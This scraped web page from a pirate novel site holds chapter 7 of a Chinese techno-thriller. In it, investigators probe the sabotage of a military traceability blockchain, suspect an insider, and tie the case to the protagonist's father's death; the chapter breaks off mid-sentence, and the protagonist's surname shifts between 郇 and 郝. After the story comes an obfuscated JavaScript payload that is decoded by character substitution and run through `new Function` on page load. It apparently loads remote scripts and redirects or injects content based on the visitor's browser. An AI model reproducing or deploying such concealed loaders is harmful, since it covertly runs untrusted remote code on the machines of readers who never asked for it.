首页
[切换至繁体版]
返回

第7章 数据迷局:溯源链崩断 谍影锁死稽查路

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第7章数据迷局:溯源链崩断谍影锁死稽查路(第1/2页)
    第一节链断溯源:区块链防线突遭暗袭
    江州军工区块链溯源中心,二十四小时亮着的冷白色应急灯,将整片中控大厅映照得毫无温度,一排排闪烁着蓝光的数据屏整齐排列,平日里承载着全江州军工原料、零部件、成品全生命周期溯源的核心系统,此刻正陷入前所未有的瘫痪危机。
    昝溯徽站在中控主控制台前,指尖在全息触控屏上飞速划过,额角渗出细密的汗珠,顺着她紧致的下颌线滑落,滴在深蓝色的工装制服上,晕开一小片浅痕。她眉头紧蹙,原本冷静淡然的眼底,此刻满是凝重与焦灼,身旁几名技术骨干围在身侧,脸色皆是一片惨白,大气都不敢喘。
    “昝工,核心数据链第三节点、第七节点、第十二节点同时断裂,断裂点毫无规律,所有溯源日志被彻底清空,系统自动修复程序完全失效!”一名年轻技术员声音发颤,盯着眼前疯狂跳红的报错代码,指尖抖得几乎握不住触控笔,“咱们的区块链是军工级加密,采用的是国密最高等级算法,按理说根本不可能被外力篡改,更别说直接崩断三条核心数据链!”
    昝溯徽没有回话,双眼死死锁定主屏幕上支离破碎的数据图谱,原本连贯如长城的军工溯源链条,此刻像是被硬生生啃断的铁链,关键节点的数据全部消失,只留下一片片刺眼的乱码。这些数据链关联着江州军火库导弹填料、战机芯片、航母钢材的全流程质检记录,是核查军工造假案最核心、最无法篡改的铁证,如今彻底断裂,意味着他们手中唯一能直指真相的线索,被人彻底掐断。
    “排查所有接入端口,内网、外网、涉密专网,哪怕是物理接口,一寸都不要放过!”昝溯徽的声音带着不容置疑的果决,指尖在屏幕上划出一道道指令,“启动备用溯源节点,尝试对接历史备份数据,看看能不能找回十分钟前的日志残留!”
    技术人员立刻分头行动,中控大厅里只剩下键盘敲击的急促声响,以及系统警报的滴滴蜂鸣,刺耳的声音搅得人心神不宁。昝溯徽盯着屏幕上毫无进展的修复进度,心底沉得厉害,她比谁都清楚这套溯源系统的安全性,从研发到上线,她全程参与,每一层加密都做到了极致,普通黑客根本无从下手,能在短短五分钟内悄无声息崩断三条核心数据链,还能抹去所有入侵痕迹,对手绝不是普通的贪腐分子,而是受过专业训练、精通军工数据系统的顶尖高手。
    就在这时,中控大厅的门禁骤然响起,郇执纲快步走了进来,身形挺拔,面容冷峻,身上还带着外面的风尘与一丝若有若无的硝烟味。他刚从江州军火库现场核查回来,还没来得及换下沾着灰尘的稽查制服,就接到了溯源中心出事的紧急通知,一路疾驰赶来。
    看着大厅里混乱的场景,以及满屏的红色报错,郇执纲的眼神瞬间冷了下来,周身散发出凌厉的压迫感。他径直走到昝溯徽身旁,目光扫过主屏幕,声音低沉而冷静:“怎么回事?系统什么时候出的问题?有没有入侵痕迹?”
    昝溯徽转头看向他,眼底的焦灼稍稍平复了几分,却依旧凝重:“十分钟前突然爆发,三条核心溯源链同时断裂,所有操作日志被清空,系统检测不到任何外部入侵信号,像是数据自行崩解一样。这套系统是军工级闭环,除了核心技术人员,只有稽查总署高层有权限接入,外人根本碰不到。”
    这话一出,郇执纲的眉头拧得更紧。军工溯源系统的保密性他再清楚不过,物理隔离+多层加密+权限分级,堪称铜墙铁壁,如今却被人悄无声息攻破,还精准摧毁了造假案的核心证据,只有一种可能——对手不仅懂技术,还在军工体系内部有内应,能轻松绕过所有权限管控,精准下手。
    “之前核查的军火库导弹填料、航母钢材的溯源数据,是不是都存在这几条断裂的链路上?”郇执纲盯着屏幕上的节点编号,眼神锐利如刀,他的军工罪案逻辑推演天赋已然悄然启动,大脑飞速运转,将眼前的乱象一点点梳理。
    昝溯徽点头,声音带着一丝不甘:“没错,所有关键质检数据、原料采购记录、生产流转信息,全都在这三条链上,现在数据全没了,咱们之前的核查工作,相当于直接被釜底抽薪,再想找到造假的铁证,难如登天。”
    周围的技术员闻言,脸上都露出了绝望的神色,他们熬了无数个日夜搭建的溯源防线,如今一夜崩塌,不仅意味着案件陷入僵局,更代表着境外势力的黑手,已经直接伸向了军工数据核心,这是比实体造假更可怕的危机。
    郇执纲没有说话,目光死死盯着屏幕上残留的乱码碎片,指尖轻轻敲击着控制台边缘,节奏平稳而有力。他没有被眼前的困境打乱阵脚,反而在一片混乱中,捕捉到了一丝极细微的异常——那些看似毫无规律的乱码,并非完全随机,其中夹杂着几组极其隐蔽的字符碎片,像是对手故意留下,又像是疏忽间遗漏的痕迹。
    危机当前,所有线索尽数断裂,稽查组的调查彻底陷入死局,而隐藏在暗处的黑手,却早已全身而退,只留下一片无从下手的数据迷局,一股浓烈的压迫感,瞬间笼罩在整个溯源中心上空。
    第二节蛛丝推演:逻辑链拆解谍者手法
    “别放弃,数据不会凭空消失,再缜密的破坏,也会留下痕迹。”郇执纲的声音骤然响起,打破了中控大厅的死寂,他抬手指向主屏幕角落那组极不起眼的乱码,眼神笃定,“把这组字符单独提取出来,做逆向拆解,不要用系统自动修复程序,手动梳理数据流向。”
    昝溯徽立刻看向他指向的位置,那组乱码隐藏在大片报错代码中,微不可察,若是不仔细留意,根本不可能发现。她心中微微一惊,她整日和数据打交道,都没能注意到这处细节,郇执纲不过刚进来几分钟,竟能精准锁定异常,这份观察力实在惊人。
    没有丝毫犹豫,昝溯徽立刻按照郇执纲的指示,调动手动分析工具,将那组字符单独剥离,进行逆向溯源。随着一行行代码被拆解,原本杂乱无章的字符,渐渐呈现出清晰的逻辑脉络,在场的技术人员全都围了过来,屏住呼吸盯着屏幕。
    “这不是系统自发崩解的乱码,是人为植入的破坏指令残留!”一名技术员失声惊呼,脸上满是难以置信,“对方用了定制化的军工数据破坏程序,绕过了所有权限验证,直接从系统底层内核动手,手法极其专业,每一步都精准踩在系统防护的漏洞上!”
    郇执纲站在一旁,目光始终锁定着拆解出来的指令逻辑,大脑飞速推演,将对手的操作流程一点点还原:“对方提前潜伏进入系统底层,蛰伏了至少二十四小时,精准掌握了溯源链的数据流转规律,在我们即将调取核心质检数据的关键时刻,同时引爆三个破坏节点,目的就是彻底销毁军火库造假的所有数据证据,让我们查无对证。”
    “可权限验证是活体指纹+声纹+涉密身份编码三重绑定,他是怎么绕过去的?”昝溯徽不解地追问,这是她始终想不通的问题,系统权限壁垒固若金汤,根本不可能被轻易突破。
    郇执纲眼神一冷,缓缓道出答案:“不是绕开,是有人用了合法权限,为对手打开了后门。这个人,拥有溯源中心最高级别的接入权限,能轻松关闭临时防护机制,让间谍程序顺利潜入系统底层。”
    这话如同惊雷,在中控大厅里炸开,所有人都脸色大变。拥有溯源中心最高权限的,只有稽查总署高层、溯源中心总负责人,以及几位核心质检高管,这些人都是军工体系的顶层人物,谁能想到,其中竟有人会为境外间谍大开方便之门?
    昝溯徽心头巨震,她看着郝执纲冷静的侧脸,看着他仅凭一点残留痕迹,就完整还原了对手的整个操作流程,甚至精准推断出内鬼的存在,心底对这位被贬黜的稽查员,多了几分深深的敬佩。她一直专注于技术研发,却忽略了人心与阴谋的复杂,而郝执纲凭借多年的稽查经验,以及超乎常人的逻辑推演能力,直接戳破了表象,找到了问题的核心。
    (本章未完,请点击下一页继续阅读)第7章数据迷局:溯源链崩断谍影锁死稽查路(第2/2页)
    “按照这个逻辑,逆向追踪程序残留的时间戳,能不能找到程序植入的具体时间,以及接入设备的物理地址?”昝溯徽迅速调整状态,立刻配合郝执纲的推演,展开技术追查。
    “可以试试,但对方做了反追踪处理,物理地址被彻底伪装,时间戳也被篡改过,只能尽力提取残留信息。”郝执纲俯身,指尖在触控屏上辅助操作,他虽不是专业技术人员,但常年接触军工罪案,对各类数据造假、系统破坏手法了如指掌,每一个指令都精准踩在关键点上。
    两人配合默契,一个从逻辑层面推演对手的作案动机与操作路径,一个从技术层面拆解数据痕迹、破解伪装信息,原本陷入僵局的局面,渐渐有了转机。十分钟后,屏幕上跳出一组被还原的物理地址碎片,以及一个模糊的接入时间——正是昨天傍晚,稽查总署高层例行视察溯源中心的时间段。
    “昨天傍晚,只有寇顾问一行人进入过溯源中心中控区,拥有最高权限接入资格的,就是寇顾问本人!”一名技术员脱口而出,话音刚落,又连忙捂住嘴,脸色煞白。
    寇怀谦,郝执纲的授业恩师,军工稽查总署总顾问,是整个军工稽查体系的顶梁柱,更是所有人眼中公正廉明的行业标杆,谁也不敢轻易将他和内鬼联系在一起。
    郝执纲的眼神瞬间沉了下去,指尖不自觉地攥紧,指节泛白。他不愿怀疑自己的恩师,可所有线索都在不动声色地指向寇怀谦,时间、权限、动机,全都完全吻合。他深吸一口气,压下心底翻涌的情绪,声音冷硬:“封存所有拆解数据,严禁对外泄露半个字,继续追查残留痕迹,不要打草惊蛇。”
    就在这时,系统屏幕突然闪过一道极快的黑影,随即彻底恢复平静,刚刚提取出来的物理地址碎片,竟瞬间被彻底清除,仿佛从未出现过一般。暗处的对手,竟还在暗中监视着他们的一举一动,时刻准备着销毁所有线索!
    第三节迷局深锁:暗线勾连父案旧疑云
    接连被对手抢占先机,数据线索两次遭恶意销毁,中控大厅里的气氛再次降到冰点,一股无形的压力,死死笼罩着每一个人。对方就像藏在黑暗中的猎手,始终掌控着主动权,他们每往前迈一步,对手就提前一步斩断所有退路,让稽查组始终陷入被动。
    昝溯徽看着再次清空的关键线索,心底的挫败感愈发强烈,她转头看向郝执纲,却见他依旧保持着冷静,目光落在主屏幕上早已失效的节点编号上,眼神深邃,不知在思索着什么。
    “第三节点、第七节点、第十二节点,这三个编号,你有没有觉得眼熟?”郝执纲突然开口,声音低沉,带着一丝不易察觉的凝重。
    昝溯徽微微一愣,立刻调出节点编号的备案信息,仔细翻看过后,眉头紧紧皱起:“这三个节点,是十年前溯源系统初代搭建时预留的核心节点,当初负责初代系统质检与验收的负责人是……”
    她的话音顿住,眼神猛地看向郝执纲,脸上满是震惊。
    郝执纲缓缓点头,眼底翻涌着复杂的情绪,有悲痛,有愤怒,还有一丝彻骨的寒意:“是我父亲,郝远疆。十年前,我父亲负责江州军工初代溯源系统的最终质检,也是在那之后不久,他就被认定为渎职,在一场离奇的爆炸中殉职,最终落得个身败名裂的下场。”
    尘封十年的旧案,与当下的军工造假案,竟通过这三个数据节点,紧紧交织在了一起。郝执纲一直觉得父亲的殉职疑点重重,所谓的渎职罪名更是子虚乌有,可他查了十年,始终找不到任何线索,如今这突如其来的数据链断裂,却将父案的线索,硬生生拽到了他的面前。
    这绝非巧合!
    对手精准摧毁这三个节点,不仅仅是为了销毁当下的造假证据,更是为了掩埋十年前的真相,为了彻底封死郝家父子追查到底的路!
    “我马上调取十年前初代系统的质检档案,看看能不能找到关联线索!”昝溯徽立刻行动,指尖飞速操作,尝试调取历史档案,可结果依旧令人绝望,十年前的所有纸质与电子档案,早已被标注为遗失,系统里没有留下任何备案信息。
    一切都被安排得天衣无缝,对手早在十年前,就已经布下了这盘棋,父亲的殉职、当下的造假、数据链的崩断,全都是这盘棋上的棋子,而他和稽查组,始终在对手的掌控中艰难前行。
    郝执纲站在控制台前,周身的寒意越来越浓,他攥紧了拳头,指腹摩挲着掌心那枚父亲遗留的军工质检钢印,冰冷的钢印触感,让他始终保持着清醒。他知道,自己现在不能乱,一旦他倒下,不仅当下的造假案无法查清,父亲的冤屈,也永远没有昭雪的一天。
    “档案虽然没了,但数据有记忆,十年前的溯源底层逻辑,还留在系统内核里,我可以尝试对接底层逻辑,还原初代节点的质检信息。”昝溯徽看着郝执
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();